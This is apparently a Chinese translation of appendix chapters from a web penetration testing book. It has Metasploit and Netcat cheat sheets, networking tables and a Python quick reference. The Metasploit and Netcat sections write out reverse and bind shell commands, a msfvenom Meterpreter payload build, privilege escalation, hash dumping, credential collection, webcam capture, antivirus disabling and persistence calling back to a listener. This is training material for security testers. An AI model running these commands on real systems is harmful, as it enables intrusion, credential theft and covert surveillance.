Web 渗透测试实践指南(三)
原文:
annas-archive.org/md5/2bec77d8d398f0bc3890a26977afafe3译者:飞龙
第十三章:Metasploit 备忘单
在开始利用阶段之前,你必须从头到尾了解 Metasploit 框架,因此我为你准备了一个 Metasploit 框架的快速参考(备忘单)。
Metasploit 框架
使用以下脚本文件启动 Metasploit:
$msfconsole -r test.rc
要运行 Metasploit,使用以下命令:
$msfconsole
使用数据库
在 Kali Linux 中,使用数据库之前需要启动postgresql服务器:
$ systemctl start postgresql
启动postgresql后,你需要使用msfdb init创建并初始化msf数据库:
$ msfdb init
如果你刚创建了一个新的漏洞利用并想要刷新metasploit db以开始使用新创建的漏洞利用,请输入以下命令:
$service postgresql restart && msfdb reinit
然后,输入以下命令:
$msfconsole -q
-q将以调试模式启动msfconsole,因此如果你在新的漏洞利用类中犯了错误,调试器将把错误信息打印到屏幕上。
更多与数据库相关的命令
-
msf > db_status:此命令将确认 Metasploit 是否成功连接到数据库 -
msf > workspace:这将显示当前选择的工作区 -
msf > workspace [新工作区]:这将把当前工作区切换为所选的新工作区 -
msf > workspace -a [要添加的工作区名称]:这是要添加的工作区名称 -
msf > workspace -d [要删除的工作区名称]:这是要删除的工作区名称 -
msf > db_import [XML 文件夹路径]:这将导入先前扫描的文件,例如db_import /root/msfu/nmapScan -
msf > db_nmap [nmap 参数]:这将使用 Nmap 进行扫描,例如db_nmap -A 172.16.194.134 -
msf > hosts:此命令将在扫描后列出发现的主机 -
msf > services:此命令将在扫描后列出发现的服务 -
msf > creds:此命令将在暴力破解扫描后列出任何找到的凭证 -
msf > loot:如果你已经攻破了系统,这将获取哈希转储 -
msf > db_export -f [格式] [XML 文件路径]:例如,db_export -f xml /root/msfu/Exported.xml
环境导航
-
msf > search:此命令将根据你提供的搜索条件查找特定模块(尝试执行help search) -
msf > search [任何关键词]:例如,search apache version 2.3 -
msf > grep & search:例如,grep http search apache -
搜索关键词:
-
app:客户端或服务器攻击模块 -
author:此作者编写的模块 -
bid:具有匹配 Bugtraq ID 的模块 -
cve:具有匹配 CVE ID 的模块 -
edb:具有匹配 Exploit-DB ID 的模块 -
name:具有匹配描述名称的模块 -
platform:影响此平台的模块 -
ref:具有匹配ref的模块 -
type:特定类型(exploit、auxiliary 或 post)的模块
-
-
示例:
-
msf > search cve:2009 type:exploit app:client -
msf > search name:mysql -
msf > search platform:windows -
msf > search type:auxiliary
-
-
更多命令:
-
msf > help:列出可用命令 -
msf > back:返回一步 -
msf > exit:退出 msfconsole
-
使用模块
-
msf > use [module name]: 选择一个模块并使用它。例如,使用dos/windows/smb/ms09_001_write。 -
msf > show: 这将显示 Metasploit 中某个特定项目的信息。 -
msf > show: 在msfconsole提示符下输入show将显示 Metasploit 中的每个模块。 -
msf > show options: 这将显示模块的选项。 -
msf > show auxiliary: 这将显示 Metasploit 中所有可用的辅助模块的列表。 -
msf > show exploits: 这将列出框架中所有的漏洞利用。 -
msf > show payloads: 这将显示所有不同的有效载荷(无论是 Metasploit 中的,还是同一模块中的)。 -
msf > show targets: 这将显示在漏洞模块的上下文中支持哪些目标。 -
msf > show advanced: 如果你想进一步调整漏洞利用,使用此命令查看更多高级选项。 -
msf > show encoders: 这将显示 msfconsole 中可用的编码器列表。 -
msf > show nops: 这将显示 Metasploit 提供的 NOP 生成器列表。 -
msf > info [module name]: 这将提供关于某个模块的详细信息。例如,info exploit/windows/http/apache_chunked。 -
msf > check: 这将验证目标是否存在漏洞,但你需要先设置选项。 -
msf > set:set命令允许你为当前正在使用的模块配置框架选项和参数。例如,set RHOST 172.16.194.134。 -
msf > setg: 这将设置msfconsole中的全局变量。例如,setg LHOST 10.0.0.100。 -
msf > unset:unset命令删除先前通过set配置的参数。你可以通过unset all删除所有已分配的变量。例如,unset THREADS。 -
msf > save:save命令将保存当前的环境和设置。 -
msf > jobs [option]:jobs命令提供列出和终止这些任务的功能。使用jobs -h命令获取可用选项。例如,jobs -l。
杂项
-
msf > load [plugin name]:load命令从 Metasploit 的插件目录加载插件。参数通过key=val的形式传递给 shell。例如,load pcap_log。 -
msf > unload [plugin name]:unload命令卸载先前加载的插件并移除任何扩展命令。例如,unload pcap_log。 -
msf > loadpath [module path]:loadpath命令将加载一个第三方模块路径,以便你可以将 Metasploit 指向你的 0-day 漏洞、编码器、有效载荷等。例如,loadpath exploit/windows/test/test_module。 -
msf > connect [IP]: 这与netcat类似,适用于横幅抓取和与服务交互。例如,connect 192.168.1.10。
msfvenom
msfvenom 可以用于生成 Windows 操作系统的反向 TCP Meterpreter 有效载荷,例如:
$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 -b "\x00" -f exe -o Meterpreter.exe
- 平台: 以下是我们可以使用的平台值:
Cisco 或 cisco,OSX 或 osx,Solaris 或 solaris,BSD 或 bsd,OpenBSD 或 openbsd,hardware,Firefox 或 firefox,BSDi 或 bsdi,NetBSD 或 netbsd,NodeJS 或 nodejs,FreeBSD 或 freebsd,Python 或 python,AIX 或 aix,JavaScript 或 javascript,HPUX 或 hpux,PHP 或 php,Irix 或 irix,Unix 或 unix,Linux 或 linux,Ruby 或 ruby,Java 或 java,Android 或 android,Netware 或 netware,Windows 或 windows,mainframe,multi。
- 可执行格式:以下是我们可以使用的可执行格式:
asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,psh-cmd,vba,vba-exe,vba-psh,vbs,war。
- 转换格式:以下是我们可以使用的转换格式:
bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript。
监听脚本
$ touch script.rc $ echo use exploit/multi/handler >> script.rc $ echo set PAYLOAD windows/meterpreter/reverse_tcp >> script.rc $ echo set LHOST 192.168.0.114 >> script.rc $ echo set ExitOnSession false >> script.rc $ echo exploit -j -z >> script.rc $ msfconsole -r script.rc
Meterpreter
-
msf > sessions [选项或 ID]:sessions命令允许你列出、交互并结束已生成的会话。会话可以是 shell、Meterpreter 会话、VNC 等(使用sessions -h获取帮助)。 -
meterpreter > background:将当前的 Meterpreter 会话发送到后台,并返回到msf提示符。 -
meterpreter > getuid:显示 Meterpreter 服务器是否在主机上运行。 -
meterpreter > sysinfo:显示受害者的操作系统信息。 -
meterpreter > cd:更改受感染系统上的当前目录。 -
meterpreter > ls:列出当前目录中的文件。 -
meterpreter > pwd:打印受感染系统上的当前目录。 -
meterpreter > ps:显示目标主机上正在运行的进程列表。 -
meterpreter > run post/windows/manage/migrate:迁移到受害者的另一个进程。 -
meterpreter > use priv:在执行getsystem命令之前使用此命令。 -
meterpreter > getsystem:使用此命令提升你的权限。
如果你遇到错误 priv_elevate_getsystem: 操作失败:访问被拒绝,请按照以下步骤操作:
meterpreter > background
选项 1:
msf > use post/multi/recon/local_exploit_suggester msf post(local_exploit_suggester) > show options msf post(local_exploit_suggester) > run
选项 2:
-
msf > use exploit/windows/local/:列出所有 Windows 漏洞。 -
msf > use exploit/windows/local/ms10_015_kitrap0d:我们从列表中选择了一个漏洞,具体如下:
msf exploit(ms10_015_kitrap0d) > show options msf exploit(ms10_015_kitrap0d) > set SESSION 1 msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.100 msf exploit(ms10_015_kitrap0d) > set LPORT 4445 msf exploit(ms10_015_kitrap0d) > exploit meterpreter > getuid Server username: NT AUTHORITY\SYSTEM - Hooray
-
meterpreter > search:提供在目标主机上查找特定文件的方法。例如,search -f passwords*.txt。 -
meterpreter > cat [文件名路径]:当提供文件路径作为参数时,显示文件内容。 -
meterpreter > download [文件名路径]:从远程主机下载文件。注意,提供 Windows 路径时要使用双斜杠。例如,download C:\\passwords.txt。 -
meterpreter > upload [local file name] [remote path]:例如,upload evil_trojan.exe c:\\windows\\system32。 -
meterpreter > execute [command]:在目标系统上运行命令。 -
meterpreter > shell:在目标系统上执行 Shell(终端或 DOS)。 -
meterpreter > run post/windows/gather/hashdump:一个后期模块,用于转储 SAM 数据库的内容。 -
meterpreter > ipconfig:显示远程机器上的网络接口和地址。 -
meterpreter > webcam_list:显示目标主机上当前可用的摄像头列表。 -
meterpreter > webcam_snap:从目标系统连接的网络摄像头抓取一张图片,并将其保存为 JPEG 图像到磁盘。默认情况下,保存位置是本地当前工作目录,文件名随机生成。例如,webcam_snap -i 1 -v false。 -
meterpreter > python_import [local python file]:导入本地 Python 文件并在受害者的机器上执行。例如,meterpreter > python_import -f /root/readAutoLogonREG.py。 -
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 -
meterpreter > run post/windows/gather/checkvm:检查受害主机是否为虚拟机。 -
meterpreter > run post/windows/gather/credentials/credential_collector:在被攻陷的主机上收集密码哈希和令牌。 -
meterpreter > run post/windows/gather/dumplinks:dumplinks模块解析用户最近文档中的.lnk文件,这对于进一步的信息收集非常有用。 -
meterpreter > run post/windows/gather/enum_applications:枚举在受害主机上安装的应用程序。 -
meterpreter > run post/windows/gather/enum_logged_on_users:返回当前和最近登录的用户列表及其 SID。 -
meterpreter > run post/windows/gather/enum_shares:返回在受害系统上配置和最近使用的共享列表。 -
meterpreter > run post/windows/gather/enum_snmp:枚举目标上的 SNMP 服务配置(如果存在),包括社区字符串。 -
meterpreter > run post/windows/gather/hashdump:使用注册表转储受害主机上的本地用户账户。 -
meterpreter > run post/windows/gather/usb_history:枚举受害系统上的 USB 驱动器历史记录。 -
meterpreter > run getcountermeasure:检查受害者系统的安全配置,并能禁用其他安全措施,如 A/V、防火墙等。 -
meterpreter > run getgui -e:如果目标系统的 RDP 被禁用,则启用 RDP。 -
meterpreter > run gettelnet -e:如果 Telnet 在受害者系统中被禁用,则启用 Telnet。 -
meterpreter > run killav:禁用目标上作为服务运行的大部分杀毒软件。 -
meterpreter > run remotewinenum -u administrator -p password123 -t 10.0.0.100:通过wmic枚举受害者的系统信息。记录日志存储位置。 -
meterpreter > run scraper:抓取系统信息,包括整个注册表。 -
meterpreter > run winenum:这是一款非常详细的 Windows 枚举工具。它会导出令牌、哈希值等更多信息。 -
meterpreter > run persistence -U -i 10 -p 443 -r 192.168.1.5:配置我们的持久化 Meterpreter 会话,直到用户登录到远程系统并尝试每 10 秒通过192.168.1.5的443端口回连到我们的监听器。
第十四章:Netcat 备忘单
Netcat 是一款瑞士军刀工具,兼容 Linux 和 Windows。它既可以作为 TCP 客户端,也可以作为 UDP 客户端和服务器。
Netcat 命令标志
-
-l: 监听模式(默认是客户端模式)。 -
-L: 更强的监听,仅在 Windows 版本的 Netcat 中支持。此选项使 Netcat 成为持久的监听器,在客户端断开连接后会重新开始监听。 -
-u: UDP 模式(默认是 TCP)。 -
-p: 本地端口(在监听模式下,这是监听的端口)。 -
-e: 连接建立后执行的程序。 -
-n: 不对另一端机器的名称进行 DNS 查找(名称解析)。 -
-z: 零 I/O 模式。 -
-w(N): 连接超时时间。带有此选项的 Netcat 客户端或监听器将等待 N 秒以建立连接。例如,w1或w2。 -
-v: 详细模式。 -
-vv: 非常详细的输出。
实际例子
你在本书中已经学习了如何使用 Netcat。接下来的列表中,你将看到一些常见的实用例子:
- 横幅抓取(HTTP):
nc -vn 10.1.1.100 80
按下 Enter 键执行命令后,输入任何内容,如 Hello SERVER,然后服务器会返回横幅头信息。
-
简单聊天:开始输入应该发送给对方的消息:
- 设置并在一端监听:
nc -v -lp 1234
-
- 在另一端,连接到监听器:
nc -v [Remote IP] 1234
-
传输文件:
- 在一端监听:
nc -vn -lp 1234 > file.txt
-
- 从另一端发送文件:
nc -vn <other side remote IP> 1234 < file.txt
-
绑定 shell:
- 假设受害者是 Windows 机器,开始监听:
nc -lvp 1234 -e cmd.exe
-
- 从攻击者机器连接到受害主机:
nc -vn [Victim IP] 1234
-
反向 shell 绕过防火墙:
- 开始在攻击者机器(Kali Linux)上监听:
nc -nlvp 1234
-
- 如果受害者使用的是 Windows 机器,输入以下命令:
nc -vn [Attacker IP] 1234 -e cmd.exe
如果受害者使用的是 Linux 机器,则应使用 -e /bin/bash。
第十五章:网络参考部分
网络是渗透测试中的一个重要话题。在本附录中,我将所有重要信息汇总在一起,以便你在需要时参考。
网络子网
有时,您将会得到子网掩码(一个 IP 地址范围)进行测试,在某些情况下,您只会测试单个 IP 地址。如果您正在使用子网掩码,请参考以下表格:
| CIDR | 主机数 | 子网掩码 |
|---|---|---|
| /30 | 2 | 255.255.255.252 |
| /29 | 6 | 255.255.255.248 |
| /28 | 14 | 255.255.255.240 |
| /27 | 30 | 255.255.255.224 |
| /26 | 62 | 255.255.255.192 |
| /25 | 126 | 255.255.255.128 |
| /24 | 254 | 255.255.255.0 |
| /23 | 510 | 255.255.254.0 |
| /22 | 1022 | 255.255.252.0 |
| /21 | 2046 | 255.255.248.0 |
| /20 | 4094 | 255.255.240.0 |
| /19 | 8190 | 255.255.224.0 |
| /18 | 16382 | 255.255.192.0 |
| /17 | 32766 | 255.255.128.0 |
| /16 | 65534 | 255.255.0.0 |
端口号和服务
知名端口: 0-1023
注册端口: 1024-49,151
动态端口: 49,152-65,535
最常见的端口和服务:
| 协议名称 | TCP/UDP | 端口号 |
|---|---|---|
| 文件传输协议 (FTP) | TCP | 20, 21 |
| 安全外壳协议 (SSH) | TCP | 22 |
| Telnet | TCP | 23 |
| 简单邮件传输协议 (SMTP) | TCP | 25 |
| 域名系统 (DNS) | TCP/UDP | 53 |
| 动态主机配置协议 (DHCP) | UDP | 67, 68 |
| 简单文件传输协议 (TFTP) | UDP | 69 |
| 超文本传输协议 (HTTP) | TCP | 80 |
| 邮局协议版本 3 (POP3) | TCP | 110 |
| NetBIOS | TCP/UDP | 137, 138, 139 |
| 互联网消息访问协议 (IMAP) | TCP | 143 |
| 简单网络管理协议 (SNMP) | UDP | 161, 162 |
| 轻量级目录访问协议 (LDAP) | TCP | 389 |
| 超文本传输协议通过 SSL/TLS (HTTPS) | TCP | 443 |
| 轻量级目录访问协议 通过 TLS/SSL (LDAPS) | TCP | 636 |
| FTPS — FTP over SSL/TLS | TCP | 989, 990 |
| IMAPS — IMAP over SSL/TLS | TCP | 993 |
| POPS — POP over SSL/TLS | TCP | 995 |
| MSSQL — Microsoft SQL Server | TCP | 1433 |
| MySQL | TCP | 3306 |
| 远程桌面协议 (RDP) | TCP | 3389 |
| Oracle 数据库 | TCP |
2483, 2484
|
| VNC 服务器 | TCP |
|---|
5500, 5900
|
| PCAnywhere | TCP | 5631, 5632 |
|---|---|---|
| X11 | TCP | 6000, 6001 |
要查看完整的参考列表,请访问 en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers。
第十六章:Python 快速参考
本附录包含了对这门神奇编程语言 Python 的快速概述。此参考将包含以下内容:
-
使用 Python 语言的基础
-
Python 中的运算符
-
如何在 Python 中创建条件语句
-
Python 变量类型
-
处理文件等更多内容
Python 语言概述
现在是开始学习 Python 的时候了。我在书中加入这一节有两个原因。首先,我希望你在未来开发 Python 脚本时能作为参考。其次,我希望刷新你对这门神奇编程语言的记忆。需要注意的是,我无法将所有关于这门语言的信息都放在附录中,因此我会包括一些 Python 的最重要元素,帮助你在职业生涯中获得最大的成果。你可以通过在终端窗口的 Python 解释器中学习和尝试以下示例——只需在终端窗口中输入 Python,你就可以开始了。
Python 基础
在本节中,我将列出使用 Python 语言时需要注意的所有基本操作:
- 要运行 Python 文件,请在终端窗口中执行以下命令:
$python [the_python_file_name.py]
你还可以使用以下运算符:
$./**[the_python_file_name.py]**
- 在执行上述命令之前,您需要授予其执行权限:
$chmod +x [the_python_file_name.py]
-
在 Python 中添加注释,可以使用以下语法:
- 对于单行注释,使用
#字符,使用"""进行多行注释:
- 对于单行注释,使用
# Comment one line
""" the three double quotes can be used
for multiple lines comments"""
-
在 Python 中组织你的代码块时,记得按Tab键,在分号字符下方插入新的代码块:
- 在这个例子中,我们必须在
if语句下方创建一个新块(紧接着:字符之后)
- 在这个例子中,我们必须在
if x == 1:
x = x + 1
print 'Success'
-
如果要换行,请使用反斜杠字符,但
[]、{}或()除外。例如:- 要将三份报告合并在一起,请使用以下命令:
report_results = nmap_report + \
theharvester_report + \
metasploit_report
-
- 要写一个长 IP 地址的列表,请使用以下格式:
ips = ['192.168.0.1',192.168.0.10','192.168.0.99',
192.168.0.100]
- 要导入其他外部库以使用其功能,请使用
import关键字:
# import the os library to allow us to create a new directory
import os
#create a test directory
os.mkdir('Test')
- 要打印信息到控制台输出,请使用
print函数:
print 'The application has finished execution'
- 要从终端窗口接受用户输入,请使用
raw_input函数:
ip_address = raw_input('IP:')
print ip_address
- Python 中的空对象用
None关键字表示:
if results is None:
print ('Empty results')
运算符
Python 编程语言中有许多不同类型的运算符。什么是运算符?一个简单的例子是==运算符,它被if条件语句使用(例如,if x==1)。一般来说,运算符可分为以下几类:
算术运算符
| 运算符 | 描述 | 示例 |
|---|---|---|
+ | 加法 运算 | x + y + z = 5 |
- | 减法 运算 | num1 – num2 = 3 |
* | 乘法 运算 | x * y = 9 |
/ | 除法 运算,左操作数除以右操作数 | b / a = 3 |
% | 除法 运算,左操作数除以右操作数并返回余数 | x % a = 0 |
** | 对操作数执行指数(幂)运算 | a**b =9 |
赋值运算符
| Operator | Description | Example |
|---|---|---|
= | 赋值运算符 | x=y |
+= | 将右操作数加到左操作数并将结果赋值给左操作数 | x +=y(等同于 x = x + y) |
-= | 从左操作数中减去右操作数并将结果赋值给左操作数 | y -=x(等同于 y=y-x) |
*= | 将右操作数与左操作数相乘并将结果赋值给左操作数 | x *= a(等同于 x = x * a) |
/= | 将左操作数除以右操作数并将结果赋值给左操作数 | x /= a(等同于 x = x / a) |
%= | 对操作数执行取余运算并将结果赋值给左操作数 | x %= a(等同于 x = x % a) |
**= | 对操作数执行指数(幂)运算并将结果赋值给左操作数 | x **= a(等同于 x = x ** a) |
比较运算符
| Operator | Description | Example |
|---|---|---|
== | 如果两个操作数相等,则条件为真 | x==y |
!= or <> | 如果两个操作数不相等,则条件为真 | x!=y |
> | 如果左操作数大于右操作数的值,则条件为真 | x>y |
< | 如果左操作数小于右操作数的值,则条件为真 | x<y |
>= | 如果左操作数大于或等于右操作数的值,则条件为真 | x>=y |
<= | 如果左操作数的值小于或等于右操作数的值,则条件为真 | x<= y |
成员和身份运算符
| Operator | Description | Example |
|---|---|---|
in | 如果变量在指定序列中,则返回 true | if 'tcp' in results: |
not in | 如果变量不在指定的序列中,则返回 false | if not 'http' in results: |
is | 如果运算符两边的变量相等,则返回 true | if results is None: |
is not | 如果运算符两边的变量不相等,则返回 true | if results is not None: |
二元运算符
| Operator | Description | Example |
|---|---|---|
& | AND 运算符检查结果是否同时存在于两个操作数中 | 1&1 = 1 |
| | OR 运算符检查结果是否存在于任一操作数中 | 0|1=1 |
^ | XOR 运算符检查结果是否存在于某一个操作数中但不在两个操作数中 | 0¹=1 |
~ | NOT 运算符表示反向位 | ~0=1 |
做出 if 判断
| Operator | Description | Example |
|---|---|---|
if | 基于操作数做出决策 | if service == 80: print 'HTTP' |
if-else | 在if判断之后采取不同的操作 | if service == 80:`` print 'HTTP'``else:`` print 'Not HTTP' |
if-elif | 做出多个顺序决策 | if service == 80:`` print 'HTTP'``elif service == 443:`` print 'TLS'``else:`` print 'Not HTTP or TLS' |
变量
变量用于 Python 和其他编程语言中,用于在内存中存储临时值,以便在源代码中多个地方重用它们。
在 Python 中,我们有各种类型的变量,如下所示:
-
字符串
-
数字
-
列表
-
字典
-
元组
在源代码的任何阶段,你都可以使用以下类型转换语法从一个变量转换到另一个变量:
# A string type port number
port_number = "80"
# An integer, which holds the number of hosts
host_count = 254
# Convert port number into integer type
int(port_number)
# Convert port number into a float type with decimals
float(port_number)
# Convert the number of host into a string
str(host_count)
字符串
当你想将一组字符存储到变量中时,使用字符串变量类型:
- 你可以像以下示例一样使用字符串变量类型:
ip_address = '10.0.0.1'
# Or you can use double quotes:
ip_address= "10.0.0.1"
#Multiple lines, using triple double quotes/single quotes
welcome_message = """ Hello there, welcome to our powerful intelligent
script, you will be amazed!"""
- 要将两个字符串变量连接在一起,使用
+符号:
device_name = 'Cisco Router 2911'
ip_address = '10.0.1.1'
host = device_name + ":" + ip_address
- 要使用
%运算符格式化字符串,请执行以下操作:
ip_address = '10.0.1.1'
host = "router IP address is : %s" % ip_address
-
你可以使用以下格式化程序:
-
%s:字符串 -
%d:整数 -
%f:浮动数 -
%x:十六进制数字
-
转义字符串字符
| 反斜杠符号 | 十六进制字符 | 描述 |
|---|---|---|
\a | 0x07 | 响铃或警报 |
\b | 0x08 | 退格符 |
\e | 0x1b | 转义符 |
\f | 0x0c | 换页符 |
\n | 0x0a | 换行符 |
\r | 0x0d | 回车符 |
\s | 0x20 | 空格 |
\t | 0x09 | 制表符 |
- 要去除字符串中的前后空格,在
Welcome前加一个空格,在Python后加一个空格:
message = " Welcome To Python "
message = message.strip()
- 要获取字符串的长度,请执行以下操作:
ip_address = '10.0.1.1'
string_length = len(ip_address)
- 要分割字符串并返回一个列表中的值,请执行以下操作:
ips= "10.0.0.1,10.0.0.2"
ips_splitted = ips.split(',')
print ips_splitted[0]
数字
以下是 Python 支持的最常见数字类型的列表:
-
int:这些有时被称为整数,它们是没有小数点的正数或负数(例如,11)。
-
long(长整数):这些是没有大小限制的整数,写法与整数相同,后面跟大写或小写字母 L(例如,788739888999L)。
-
float(浮点数):这些表示实数,写作带有小数点的数字(99.9999)。浮点数有时以科学记数法表示,使用 E 或 e 表示 10 的幂(2e2 = 2 x 10²)。
-
要获取两个数字中的最大值或最小值,请执行以下操作:
num1 = max(2,8)
num2=min(2,8)
- 要从一个范围中生成随机数,请执行以下操作:
# Generate a Random number from 10 to 100 and with 1 increment at a time (10,11,12,13...100)
import random
rand = random.randrange(10,100,1)
列表
列表是一个包含项的集合(例如,字符串、数字、对象等)。在其他编程语言中,它被称为数组。现在,如果你将来听到这个词,你会知道它在 Python 中意味着列表:
- 这是一个列表的示例:
ips = ['192.1.1.1','192.1.1.254']
- 要向列表中添加新项,使用
append函数:
ips = ['192.1.1.1','192.1.1.254']
# To add a third item to the list
ips.append('192.1.1.2')
print ips
- 要访问列表中的每一项,使用其索引号。例如:
ips = ['192.1.1.1','192.1.1.254']
# Print the first IP address
print ips[0]
- 要更改列表中的一项,只需使用其索引并为其赋予新值。例如:
ips = ['192.1.1.1','192.1.1.254']
# Assign the first item a new value
ips[0] = 192.168.1.1
- 要从列表中删除一项,请执行以下操作:
ips = ['192.1.1.1','192.1.1.254']
# We will delete the first IP address:
del ips[0]
print ips
- 要获取列表的长度,使用
len函数。例如:
ips = ['192.1.1.1','192.1.1.254']
# Print the length of the ips list which is 2 in this case:
print len(ips)
元组
元组类似于列表,但它们是只读的。我很少使用它们,但它们存在于 Python 中,你需要知道它们的存在:
- 要声明一个元组变量,请执行以下操作:
ips = ('1.1.1.1','2.2.2.2')
- 要访问元组中的项目,使用其索引号。例如:
ips = ('1.1.1.1','2.2.2.2')
# Print the first IP address
ips[0]
- 要获取元组的长度,使用
len函数。例如:
ips = ('1.1.1.1','2.2.2.2')
# Print the length of the ips list which is 2 in this case:
print len(ips)
字典
字典是一个包含键值对的项目列表。最好的描述方式是通过示例来说明。我们开始吧:
- 要声明主机和 IP 的键值对,请输入以下内容(例如):
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.100'}
- 要向字典添加新项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
hosts_dictionary['Srv-003'] = '10.0.0.103'
print hosts_dictionary
- 要更新字典中的现有项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
hosts_dictionary['Srv-002'] = '10.0.0.122'
print hosts_dictionary
- 要删除字典中的现有项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
del hosts_dictionary['Srv-002']
print hosts_dictionary
- 要遍历字典,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
for host,ip in hosts_dictionary.items(): print "host:%s , IP: %s" % (host,ip)
杂项
- 要创建一个函数,使用
def关键字,后跟函数名称、一些可选变量,以及末尾的:字符。例如:
def addition(x,y):
return x + y
- 要创建一个
for循环,请执行以下操作:
ips = ['192.1.1.1','192.1.1.254']
for ip in ips:
print ip
- 以下是 Python 中的一个示例自定义
class对象:
# class name
class Host:
#class constructor
def __init__(self,name):
self.name = name
def print_host(self):
print self.name
#let's call it from somewhere else
h = Host('SRV-001')
h.print_host()
- 要在 Python 中使用异常管理错误,请执行以下操作:
try:
[put your code here]
except Exception, e:
exception_message = str(e)
print("Error: " + exception_message)
- 要打开并读取文本文件,请执行以下操作:
f=open('/root/dic.txt',r)
for txt in f:
print txt
f.close()
- 要写入文件,请执行以下操作:
f=open('ips.txt',a)
f.write('192.168.0.0\n')
f.close()